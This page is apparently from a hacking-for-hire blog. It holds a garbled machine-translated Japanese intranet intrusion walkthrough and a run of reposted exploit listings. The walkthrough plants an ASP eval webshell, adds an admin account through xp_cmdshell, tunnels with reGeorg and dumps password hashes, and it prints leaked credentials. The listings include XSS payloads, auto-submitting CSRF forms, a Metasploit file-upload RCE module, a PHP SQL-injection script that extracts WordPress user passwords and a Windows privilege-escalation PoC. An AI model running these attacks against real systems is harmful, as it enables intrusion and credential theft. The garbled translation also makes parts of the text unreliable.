Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863109814

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

0x00実験目的

ドメイン環境で他のホストのウェブサイトソースコードを取得する

0x01浸透アイデア

ウェブサイトシェルを取得することにより、イントラネットはイントラネットに侵入し、イントラネットはドメイン制御権限を取得し、ドメイン制御は他のドメインに侵入してリソースを取得します。

0x02実験プロセス

ターゲットWebサイトIPにアクセスし、静的なWebサイトであることがわかりました。ウェブサイトのフロントデスクは使用できないことがわかりました。ウェブサイトのバックエンドを爆発させてみてください

1049983-20220124163402950-1967122822.jpg

Yujianを使用して背景をスキャンすると、バックグラウンドログインインターフェイスは見つかりませんでしたが、robots.txtファイルが見つかりました。 robots.txtをチェックして、内部にWebサイトのバックグラウンドディレクトリがあることを確認します。

1049983-20220124163403382-1552410908.jpg

Webサイトのバックエンドページにアクセスしてください

1049983-20220124163403756-1339755790.jpg

Burp Brute Force Crackingを使用して、Webサイトのバックエンド管理者アカウントのパスワードが正常に爆破されていることを確認してください。

1049983-20220124163404210-506006033.jpg

爆破された管理者アカウントのパスワードを使用して、Webサイトバックエンドに正常にログインします（PS：ログイン時にフル機能ログインを選択）

1049983-20220124163404669-1982582599.jpg

テンプレートフォルダー名は、インターフェイススタイルのテンプレート選択で変更できることがわかりました。テンプレートフォルダー名を1.ASPに変更し、IISの解析脆弱性を使用しようとしました。

1049983-20220124163405071-1899546659.jpg

次に、インターフェイススタイルの編集テンプレート/CSSファイルでASPX文トロジャンをHTMLファイルに追加して、テンプレートを追加します

1049983-20220124163405394-1528669503.jpg

包丁を使用して、私たちが書いたトロイの木馬に正常に接続する

1049983-20220124163405782-2127696447.jpg

文のトロイの木馬を使用してASPX馬をアップロードして操作を容易にします

1049983-20220124163406232-1999358840.jpg

ホストがデュアルネットワークカードであることを確認して、2つのイントラネットIPセグメントを取得します。

1049983-20220124163406624-147209614.png

ホストのキャッシュ情報を確認して、いくつかのイントラネットIPを見つける

1049983-20220124163407040-37093832.jpg

192.168.152.173がポート1433を有効にしていることを確認して見つけると、データサーバーである可能性があると推測します

1049983-20220124163407519-1048786080.jpg

Webサイトの構成ファイルを確認し、データベースアカウントのパスワードを発見します

1049983-20220124163408026-743453725.png

ASPXマレーシアを使用してデータベースに正常にログインし、システムの許可であることがわかりました

1049983-20220124163408481-1964824544.jpg

ドメイン内のすべてのユーザー名を表示します

1049983-20220124163408919-1191946540.jpg

ドメイングループ名をクエリします

1049983-20220124163409381-182094805.jpg

現在のドメイン内のコンピューターのリストを表示します

1049983-20220124163409768-603325688.png

クエリドメイン管理者

1049983-20220124163410230-765980537.png

データベースシェルを使用してアカウントを追加し、管理者グループに追加します

1049983-20220124163410647-1330282431.png

また、192.168.152.173がポート3389を開設したこともわかった

1049983-20220124163411066-64845405.jpg

Regeorg+proxifierを使用してプロキシを設定してリモートログインを試してください

1049983-20220124163411528-716826967.png

以前に追加した管理者アカウントパスワードを使用して、リモートデスクトップに正常にログインします。ログインするときは、オプションを構成し、ローカルツールフォルダーをターゲットマシンにマウントします。

1049983-20220124163412048-368456439.jpg

リモートデスクトップに正常にログインします

1049983-20220124163412553-501831887.png

ファイル共有を使用してquarkspwdump.exeをアップロードし、quarkspwdump.exeを使用してシステム管理者のパスワードをつかみ、それをtxtファイルにエクスポートします

1049983-20220124163413020-897540126.png

MD5を使用して、解決できないことがわかりました

1049983-20220124163413461-1843470132.png

ドメイン内のホストには、特定の命名ルールがあることがわかっています。シェルを取得するWebサイトを確認すると、Webサイトのルートディレクトリにはgame.fbi.gov.usという名前が付いていることがわかります。手動テストを通じて、ドメイン名oa.fbi.gov.usのウェブサイトがあります。

1049983-20220124163413811-1185841690.jpg

oa.fbi.gov.usドメイン名ディスカバリーはソースコードライブラリログ管理システムです

1049983-20220124163414230-697715797.jpg

ASPユニバーサルパスワードを使用して、ログインをバイパスしてみてください。アカウント：liufeng 'または' 1 '=’ 1パスワードは任意であり、バックグラウンドに正常にログインします

1049983-20220124163414697-178476293.jpg

ストレージXSSは追加ログにあります

1049983-20220124163415176-2083639666.jpg

追加したログをクリックしてプロパティを確認し、追加されたログのURLを見つけます

1049983-20220124163415681-1128422050.png

得られたURLに注入があるかどうかをテストし、500の誤差があることがわかります。

1049983-20220124163416115-1429454342.png

Dインジェクションツールを使用して、Webサイトバックエンドにログインします

1049983-20220124163416574-1446420790.jpg

次に、URLを挿入しようとし、管理者のパスワードが正常に噴射されていることがわかりました。ユーザー名は何らかの理由で出てきませんでしたが、問題は大きくありませんでした。上記のいくつかのユーザー名はすでに多くないので、1つずつ試すことができます。

1049983-20220124163417085-66586380.png

前にアクセスしたユーザー名とパスワードを使用して、ドメイン内の他のホストにログインしようとします

1049983-20220124163417519-892340131.png

他のホストに正常にログインしてから、ドメイン内の他のPCからファイルを表示およびダウンロードできます

1049983-20220124163417948-183238433.png 1049983-20220124163418365-119348494.png

0x03要約

1。ターゲットWebサイトIPへのアクセスは静的なWebサイトです。ウェブサイトのフロントデスクは使用できないことがわかります。 Yujianディレクトリスキャンツールを介してディレクトリをスキャンします。 robots.txtが存在することがわかります。 robots.txtが存在することがわかります。 Webサイトのバックエンドページがあることがわかります。バックグラウンドに検証コードがありますが、検証コードには長い時間があります。それはBPで爆破することができ、ユーザー名とパスワードは正常に破壊されます。 admin/passw0rd3333333399.106.226.95:9235/admin3です。 NAMPを使用してターゲットWebサイトIPをスキャンし、システムがWindows IIS6.0であり、ポート80が有効であることを確認します。 14.テンプレートフォルダー名は、インターフェイススタイルのテンプレート選択で変更できることがわかり、テンプレート名は1.ASP15に変更できます。次に、テンプレート名1.HTMLをインターフェイススタイル編集テンプレート/CSSファイルに追加してテンプレートを追加すると、コンテンツはASP％EAVLリクエスト（「パス」）％16の文です。包丁を介して文を正常に接続し、抑えナイフにASPXをアップロードしてすぐに行きます。

17。ASPXマレーシアのコマンド実行を介して、ネットワークカードのIPアドレスを確認し、2つのネットワークカード、1つのネットワークカードIPアドレス192.168.152.182があり、もう1つのネットワークカードは192.168.79.128CMDPath3:C: \ Windowsホストのキャッシュ情報を確認して、いくつかのイントラネットIPS（192.168.152.182、192.168.152.173、192.168.152.180）CMDPath:C: \ Windows \ System32 \マレーシアでは、1433年と3389ポート20が有効になっていることがわかりました。 Webサイトの構成ファイルを表示し、データベースアカウントのパスワード21.ASPXマレーシアのデータベース関数を使用して、データベースに正常にログインし、システムの許可があることがわかりました。 connstring:Server=192.168.152.173; uid=sa; pwd=piy88pro*jnj24e3; database=master; probider=sqloledbsec: xp_cmdshell_execrun sql3:exec mastr 'Whoami'22。ドメインsqlexec: xp_cmdshell_execrun sql:exec master.dbo、xp_cmdshell 'dequery users '23のすべてのユーザー名をクエリします。ドメイングループ名sqlexec: xp_cmdshell_execrun sql:exec master.dbo、xp_cmdshell 'netグループ /ドメイン'24。現在のドメインのコンピューターのリストを確認し、Webサーバー、ファイルサーバー、DBサーバーなどのホスト名があることを確認します。SQLEXEC:XP_CMDSHELL_EXECRUNSQL3:EXEC MASTEC MASTEC、XP_CMDSHELL 'Net View'25。ドメイン管理者、管理者ユーザーのsqlexec3360 xp_cmdshell_execrun sql3:exec master.dbo、xp_cmdshell 'netグループ'ドメイン管理者' /domain'26をクエリします。データベースシェルを使用してアカウントを追加し、管理者グループExec Master.dbo、XP_CMDSHELL 'ネットユーザーDDDパスワード＃111 /ADD'EXEC MASTER.DBO、XP_CMDSHELL'ネットローカルグループ管理者DDD /ADD'13に追加します。 regeorgsocksproxyのASPXスクリプトファイルをASPX（39.106.226.95）を介してターゲットシステムにアップロードし、リンクhttp://39.106.226.95:9235/tunnel.aspx14にアクセスします。構成後、Regeoryはローカルチャネルとターゲットチャネルを開き、Python Regeorgsocksproxy.py -P 8888 -L 0.0.0.0 -U http://39.106.226.95:9235/tunnel.aspxを実行するために使用されます。

15. ProxifierにSocks4プロキシを設定し、プロキシSocks4 127.0.0.1 888816を追加します。リモートでロギングするときにオプションを構成し、ローカルツールフォルダーをターゲットマシンにマウントする

17. quarkspwdump.exeをファイル共有を使用してアップロードし、quarkspwdump.exeを使用してシステム管理者のパスワードをつかみ、TXTファイルにエクスポートします。 MD5をアンラップできないことがわかりました18。ウェブサイトのルートディレクトリには別のディレクトリがあります。これはoa.fbi.gov.usです。次に、このディレクトリコマンドにWebサイトドメイン名として直接アクセスし、ソースコードライブラリログ管理システムであることがわかります。 19。ASPユニバーサルパスワードを使用して、ログインをバイパスしてみてください。アカウント：admin ’または' 1 '=’ 1パスワードは任意であり、バックグラウンドにログインしてください20。ストレージタイプXSS21を見つけます。追加されたログをクリックして、属性を確認します。 URL http://oa.fbi.gov.us/logive.asp?id=39422を見つけます。 AH DインジェクションツールまたはSQLMAPツールを使用して、ユーザー名とパスワードを正常に噴射します23。正常に挿入されたユーザー名とパスワードを使用して、デスクトップに正常にログインします。

元のリンク：https://Blog.csdn.net/weixin_44991517/article/details/93896401

HireHackking 
source: https://www.securityfocus.com/bid/47579/info

The WP Ajax Recent Posts WordPress Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

WP Ajax Recent Posts WordPress Plugin 1.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/?action=wpAjaxRecentPosts&number=1%27%29%22%3E%3Cscript%3Ealert%28123%29;%3C/script%3E
HireHackking 
source: https://www.securityfocus.com/bid/47578/info

Noah's Classifieds is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

<form action="http://host/index.php" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="list" value="item">
<input type="hidden" name="method" value="create">
<input type="hidden" name="rollid" value="2">
<input type="hidden" name="id" value="0">
<input type="hidden" name="cid" value="2">
<input type="hidden" name="col_16"  value="">
<input type="hidden" name="col_17" value=&#039;title"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="col_18" value=&#039;<p>description of my"&gt;</p>
<script type="text/javascript">// <![CDATA[
alert(document.cookie)
// ]]></script>&#039;>
<input type="hidden" name="col_19" value="Pc">
<input type="hidden" name="col_20" value="">
<input type="hidden" name="gsubmit" value="Ok">
</form>
<script>
document.main.submit();
</script>

<form action="http://host/index.php" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="list" value="appcategory">
<input type="hidden" name="method" value="modify">
<input type="hidden" name="rollid" value="5">
<input type="hidden" name="id" value="5">
<input type="hidden" name="up" value="1">
<input type="hidden" name="wholeName" value="catitem">
<input type="hidden" name="name" value="catitem">
<input type="hidden" name="description" value=&#039;cat2"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="picture" value="">
<input type="hidden" name="descriptionMeta" value="">
<input type="hidden" name="keywords" value="">
<input type="hidden" name="customAdMeta" value="">
<input type="hidden" name="allowAd" value="1">
<input type="hidden" name="immediateAppear" value="1">
<input type="hidden" name="inactivateOnModify" value="1">
<input type="hidden" name="displayResponseLink" value="1">
<input type="hidden" name="displayFriendmailLink" value="1">
<input type="hidden" name="displayFlaggedLink" value="1">
<input type="hidden" name="customAdListTitle" value="">
<input type="hidden" name="customAdListTemplate" value="">
<input type="hidden" name="customAdDetailsTemplate" value="">
<input type="hidden" name="gsubmit" value="Ok">
</form>
<script>
document.main.submit();
</script>

<form action="http://host/index.php" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="list" value="appsettings">
<input type="hidden" name="method" value="modify">
<input type="hidden" name="rollid" value="1">
<input type="hidden" name="id" value="1">
<input type="hidden" name="defaultTheme" value="modern">
<input type="hidden" name="defaultLanguage" value="en">
<input type="hidden" name="langDir" value="ltr">
<input type="hidden" name="adminEmail" value="">
<input type="hidden" name="titlePrefix" value=&#039;[Noahs Classifieds]</title><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="mainTitle" value="">
<input type="hidden" name="charLimit" value="0">
<input type="hidden" name="blockSize" value="20">
<input type="hidden" name="dateFormat" value="Y-m-d">
<input type="hidden" name="timeFormat" value="Y-m-d H:i">
<input type="hidden" name="gsubmit" value="Ok">

</form>
<script>
document.main.submit();
</script>
HireHackking 
# Source: https://code.google.com/p/google-security-research/issues/detail?id=118#c1
# Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35661-poc.zip


Platform: Windows 8.1 Update 32/64 bit (No other OS tested)

On Windows 8.1 update the system call NtApphelpCacheControl (the code is actually in ahcache.sys) allows application compatibility data to be cached for quick reuse when new processes are created. A normal user can query the cache but cannot add new cached entries as the operation is restricted to administrators. This is checked in the function AhcVerifyAdminContext.

This function has a vulnerability where it doesn't correctly check the impersonation token of the caller to determine if the user is an administrator. It reads the caller's impersonation token using PsReferenceImpersonationToken and then does a comparison between the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level of the token so it's possible to get an identify token on your thread from a local system process and bypass this check. For this purpose the PoC abuses the BITS service and COM to get the impersonation token but there are probably other ways. 

It is just then a case of finding a way to exploit the vulnerability. In the PoC a cache entry is made for an UAC auto-elevate executable (say ComputerDefaults.exe) and sets up the cache to point to the app compat entry for regsvr32 which forces a RedirectExe shim to reload regsvr32.exe. However any executable could be used, the trick would be finding a suitable pre-existing app compat configuration to abuse. 

It's unclear if Windows 7 is vulnerable as the code path for update has a TCB privilege check on it (although it looks like depending on the flags this might be bypassable). No effort has been made to verify it on Windows 7. NOTE: This is not a bug in UAC, it is just using UAC auto elevation for demonstration purposes. 

The PoC has been tested on Windows 8.1 update, both 32 bit and 64 bit versions. I'd recommend running on 32 bit just to be sure. To verify perform the following steps:

1) Put the AppCompatCache.exe and Testdll.dll on disk
2) Ensure that UAC is enabled, the current user is a split-token admin and the UAC setting is the default (no prompt for specific executables). 
3) Execute AppCompatCache from the command prompt with the command line "AppCompatCache.exe c:\windows\system32\ComputerDefaults.exe testdll.dll". 
4) If successful then the calculator should appear running as an administrator. If it doesn't work first time (and you get the ComputerDefaults program) re-run the exploit from 3, there seems to be a caching/timing issue sometimes on first run.
HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'ProjectSend Arbitrary File Upload',
      'Description'    => %q{
        This module exploits a file upload vulnerability in ProjectSend
        revisions 100 to 561. The 'process-upload.php' file allows
        unauthenticated users to upload PHP files resulting in remote
        code execution as the web server user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Fady Mohammed Osman', # Discovery and Exploit
          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
        ],
      'References'     =>
        [
          ['EDB', '35424']
        ],
      'Payload'        =>
        {
          'BadChars'   => "\x00"
        },
      'Arch'           => ARCH_PHP,
      'Platform'       => 'php',
      'Targets'        =>
        [
          # Tested on ProjectSend revisions 100, 157, 180, 250, 335, 405 and 561 on Apache (Ubuntu)
          ['ProjectSend (PHP Payload)', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Dec 02 2014',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to ProjectSend', '/ProjectSend/'])
        ], self.class)
  end

  #
  # Checks if target upload functionality is working
  #
  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'process-upload.php')
    )
    if !res
      vprint_error("#{peer} - Connection timed out")
      return Exploit::CheckCode::Unknown
    elsif res.code.to_i == 404
      vprint_error("#{peer} - No process-upload.php found")
      return Exploit::CheckCode::Safe
    elsif res.code.to_i == 500
      vprint_error("#{peer} - Unable to write file")
      return Exploit::CheckCode::Safe
    elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
      vprint_error("#{peer} - File process-upload.php is not executable")
      return Exploit::CheckCode::Safe
    elsif res.code.to_i == 200 && res.body && res.body =~ /sys\.config\.php/
      vprint_error("#{peer} - Software is misconfigured")
      return Exploit::CheckCode::Safe
    elsif res.code.to_i == 200 && res.body && res.body =~ /jsonrpc/
      # response on revision 118 onwards includes the file name
      if res.body && res.body =~ /NewFileName/
        return Exploit::CheckCode::Vulnerable
      # response on revisions 100 to 117 does not include the file name
      elsif res.body && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
        return Exploit::CheckCode::Appears
      elsif res.body && res.body =~ /Failed to open output stream/
        vprint_error("#{peer} - Upload folder is not writable")
        return Exploit::CheckCode::Safe
      else
        return Exploit::CheckCode::Detected
      end
    else
      return Exploit::CheckCode::Safe
    end
  end

  #
  # Upload PHP payload
  #
  def upload
    fname = "#{rand_text_alphanumeric(rand(10) + 6)}.php"
    php = "<?php #{payload.encoded} ?>"
    data = Rex::MIME::Message.new
    data.add_part(php, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{fname}"))
    post_data = data.to_s
    print_status("#{peer} - Uploading file '#{fname}' (#{php.length} bytes)")
    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, "process-upload.php?name=#{fname}"),
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => post_data
    )
    if !res
      fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
    elsif res.code.to_i == 404
      fail_with(Failure::NotFound, "#{peer} - No process-upload.php found")
    elsif res.code.to_i == 500
      fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
    elsif res.code.to_i == 200 && res.body && res.body =~ /Failed to open output stream/
      fail_with(Failure::NotVulnerable, "#{peer} - Upload folder is not writable")
    elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
      fail_with(Failure::NotVulnerable, "#{peer} - File process-upload.php is not executable")
    elsif res.code.to_i == 200 && res.body && res.body =~ /sys.config.php/
      fail_with(Failure::NotVulnerable, "#{peer} - Software is misconfigured")
    # response on revision 118 onwards includes the file name
    elsif res.code.to_i == 200 && res.body && res.body =~ /NewFileName/
      print_good("#{peer} - Payload uploaded successfully (#{fname})")
      return fname
    # response on revisions 100 to 117 does not include the file name
    elsif res.code.to_i == 200 && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
      print_warning("#{peer} - File upload may have failed")
      return fname
    else
      vprint_debug("#{peer} - Received response: #{res.code} - #{res.body}")
      fail_with(Failure::Unknown, "#{peer} - Something went wrong")
    end
  end

  #
  # Execute uploaded file
  #
  def exec(upload_path)
    print_status("#{peer} - Executing #{upload_path}...")
    res = send_request_raw(
      { 'uri' => normalize_uri(target_uri.path, upload_path) }, 5
    )
    if !res
      print_status("#{peer} - Request timed out while executing")
    elsif res.code.to_i == 404
      vprint_error("#{peer} - Not found: #{upload_path}")
    elsif res.code.to_i == 200
      vprint_good("#{peer} - Executed #{upload_path}")
    else
      print_error("#{peer} - Unexpected reply")
    end
  end

  #
  # upload && execute
  #
  def exploit
    fname = upload
    register_files_for_cleanup(fname)
    exec("upload/files/#{fname}") # default for r-221 onwards
    unless session_created?
      exec("upload/temp/#{fname}")  # default for r-100 to r-219
    end
  end
end
HireHackking 
# Exploit Title: Social Microblogging PRO 1.5 Stored XSS Vulnerability
# Date: 29-12-2014
# Exploit Author: Halil Dalabasmaz
# Version: v1.5
# Vendor Homepage:
http://codecanyon.net/item/social-microblogging-pro/9217005
# Tested on: Chrome & Iceweasel

# Vulnerability Description:

===Stored XSS===
"Web Site" input is not secure at Profile section. You can run XSS payloads
on "Web Site" input.

Sample Payload for Stored XSS: http://example.com/">[xssPayload]

=Solution=
Filter the input field against to XSS attacks.
================
HireHackking 
source: https://www.securityfocus.com/bid/47576/info

html-edit CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

html-edit CMS 3.1.9 is vulnerable; other versions may also be affected. 

http://www.example.com/[Path]/addons/image_slider/index.php?html_output=[XSS]
HireHackking 
source: https://www.securityfocus.com/bid/47574/info

The Sermon Browser plugin for WordPress is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Sermon Browser 0.43 is vulnerable; other versions may also be affected. 

<?php
 
if(!$argv[1])
die("
 
Usage   : php exploit.php [site]
Example : php exploit.php http://site.com/wp/
 
");
print_r("
 
# Tilte......: [ WordPress SermonBrowser Plugin 0.43 SQL Injection ]
# Author.....: [ Ma3sTr0-Dz ]
# Date.......: [ 25-o4-2o11 ]
# Location ..: [ ALGERIA ]
# HoMe ......: [ wWw.sEc4EvEr.CoM ]
# Download ..: [ http://www.4-14.org.uk/wordpress-plugins/sermon-browser ]
# Gr33tz ....: [ All Sec4ever Member'z ]
# Real Bug Founder : Lagripe-Dz
 
                      -==[ ExPloiT ]==-
                       
# SQL Inj : http://site/wp/?sermon_id=-1+union+select+version(),2--
# XSS     : http://site/wp/?download&file_name=<script>alert(0)</script>
# FPD     : http://site/wp/wp-content/plugins/sermon-browser/sermon.php
 
                       -==[ Start ]==-
 
");
 
$t=array("db_usr"=>"user()","db_ver"=>"version()","db_nam"=>"database()","usr_nm"=>"user_login","passwd"=>"user_pass");
 
function text2hex($string) {
 $hex = '';
 $len = strlen($string) ;
 for ($i = 0; $i < $len; $i++) {
  $hex .= str_pad(dechex(ord($string[$i])), 2, 0, STR_PAD_LEFT);
 }
 return $hex;
}
 
foreach($t as $r=>$y){
 
$x=@file_get_contents($argv[1]."?sermon_id=-1/**/UnIoN/**/SeLeCt/**/group_concat(0x".text2hex("<$r>").",$y,0x".text2hex("<$r>")."),2+from+wp_users+where+ID=1--");
 
preg_match_all("{<$r>(.*?)<$r>}i",$x, $dz);
 
echo $u = ($dz[1][0]) ? "[-] $r  : ".$dz[1][0]."\n" : "[-] $r  : Failed !\n";
 
}
 
print_r("
                      -==[ Finished ]==-
");
 
# By Lagripe-Dz .. !
# END .. !
 
?>
HireHackking 
source: https://www.securityfocus.com/bid/47571/info

eXPert PDF is prone to a heap-based buffer-overflow vulnerability because it fails to properly bounds check user-supplied data before copying it into an insufficiently sized buffer.

An attacker could exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions. 

#!/usr/bin/perl
sub logo {
print STDERR << "EOF";
		                                                               
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

EOF
}
# ---------
# eXPert PDF Editor 7 Professional Heap Proof Of Concept Exploit
# Author : KedAns-Dz <ked-h@hotmail.com || ked-h@exploit-id.com>
# special thanks to : Inj3ct0r Team + exploit-id Team
# ---------
# Target : eXPert PDF Editor v7.0.880.0
# Tested in Windows XP sp3 France
# Creating The Bad File .PJ And => Bo0M !
# Heap 0x0174EC24 in 'vspdfeditor140.bpl' . addres 00000008
my $PoC = "\x4b\x45\x44\x41\x4e\x53"; # NULL Heap PoC
open (FILE,">> KedAns.pj"); # Bad File Here
print FILE $PoC;
close (FILE);
# KedAns-Dz | [D] HaCkerS-StreeT-Team [Z] |!| http://twitter.com/kedans
HireHackking 
source: https://www.securityfocus.com/bid/47569/info

TemaTres is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

TemaTres 1.3 is vulnerable; prior versions may also be affected. 

http://www.example.com/tematres1.3/vocab/index.php?_search_expresions=[xss]
HireHackking 
source: https://www.securityfocus.com/bid/47500/info

webSPELL is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

webSPELL 4.2.2a is affected; other versions may also be vulnerable. 


http://www.example.com/index.php?site=newsletter&pass=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E
http://www.example.com/index.php?site=messenger&action=touser&touser=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E
http://www.example.com/admin/admincenter.php?site=users&action=addtoclan&id=1&page=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E
http://www.example.com/admin/admincenter.php?site=squads&action=edit&squadID=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E
http://www.example.com/admin/admincenter.php?site=contact&action=edit&contactID=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E
HireHackking 
source: https://www.securityfocus.com/bid/47479/info
    
Oracle JD Edwards EnterpriseOne is prone to multiple cross-site scripting vulnerabilities.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
This vulnerability affects the following supported versions:
8.9 GA through 8.98.4.1 and OneWorld Tools through 24.1.3 

* http://XXX.XXX.XXX.XXX/jde/JASMafletMafBrowserClose.mafService

Parameter: jdemafjasLinkTarget



* The GET request has been set to: E1MENUMAIN_3860308878877903872"%2Balert%28222735%29%2B"



/jde/JASMafletMafBrowserClose.mafService?jdemafjasFrom=BrowserClose&e1.mode=view&jdeLoginAction=LOGOUT&e1.state=maximized&jdemafjasLinkTarget=E1MENUMAIN_3860308878877903872"%2Balert%28222735%29%2B"&RENDER_MAFLET=E1Menu&jdemafjasLauncher=PSFT_TE_V3_SW&e1.service=JASMafletMafBrowserClose&e1.namespace=
HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=00003wyVho0_-Ma0fQp67cuqdCs:14p7ulc8o; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED
HireHackking 
source: https://www.securityfocus.com/bid/47479/info
  
Oracle JD Edwards EnterpriseOne is prone to multiple cross-site scripting vulnerabilities.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
This vulnerability affects the following supported versions:
8.9 GA through 8.98.4.1 and OneWorld Tools through 24.1.3 

http://XXX.XXX.XXX.XXX/jde/E1Menu_OCL.mafService

Parameter: e1.namespace



* The GET request has been set to: %2Balert%2848981%29%2B



/jde/E1Menu_OCL.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu&e1.service=E1Menu_OCL&e1.namespace=%2Balert%2848981%29%2B&timestamp=1290796450377
HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000xXDQLJurffGMVi6Du_UnL0Z:14p7umbnp; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED
HireHackking 
source: https://www.securityfocus.com/bid/47479/info
   
Oracle JD Edwards EnterpriseOne is prone to multiple cross-site scripting vulnerabilities.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
This vulnerability affects the following supported versions:
8.9 GA through 8.98.4.1 and OneWorld Tools through 24.1.3 

http://XXX.XXX.XXX.XXX/jde/MafletClose.mafService

Parameter: RENDER_MAFLET



* The GET request has been set to: E1Menu"%2Balert%2844218%29%2B"



/jde/MafletClose.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu"%2Balert%2844218%29%2B"&e1.service=MafletClose&e1.namespace= HTTP/1.0

